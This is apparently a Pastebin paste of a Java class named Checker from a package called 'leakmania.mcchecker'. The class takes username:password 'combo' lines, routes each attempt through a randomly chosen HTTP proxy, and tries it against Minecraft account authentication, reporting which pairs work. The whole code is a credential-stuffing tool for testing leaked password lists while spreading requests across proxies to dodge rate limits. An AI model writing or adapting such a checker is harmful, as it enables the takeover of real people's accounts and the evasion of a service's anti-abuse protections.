Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package com.leakmania.mcchecker.utils;
- import java.net.InetSocketAddress;
- import java.net.Proxy;
- import java.util.Random;
- import net.chris54721.openmcauthenticator.OpenMCAuthenticator;
- import net.chris54721.openmcauthenticator.exceptions.AuthenticationUnavailableException;
- import net.chris54721.openmcauthenticator.exceptions.RequestException;
- public class Checker {
- String proxies[];
- public Checker(String[] proxies) {
- this.proxies = proxies;
- }
- public boolean check(String combo) {
- String proxyString = proxies[new Random().nextInt(proxies.length)];
- try {
- Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(proxyString.split(":")[0], Integer.parseInt(proxyString.split(":")[1])));
- OpenMCAuthenticator.authenticate(combo.split(":")[0], combo.split(":")[1], null, proxy);
- return true;
- } catch (RequestException e) {
- e.printStackTrace();
- } catch (AuthenticationUnavailableException e) {
- e.printStackTrace();
- }
- return false;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement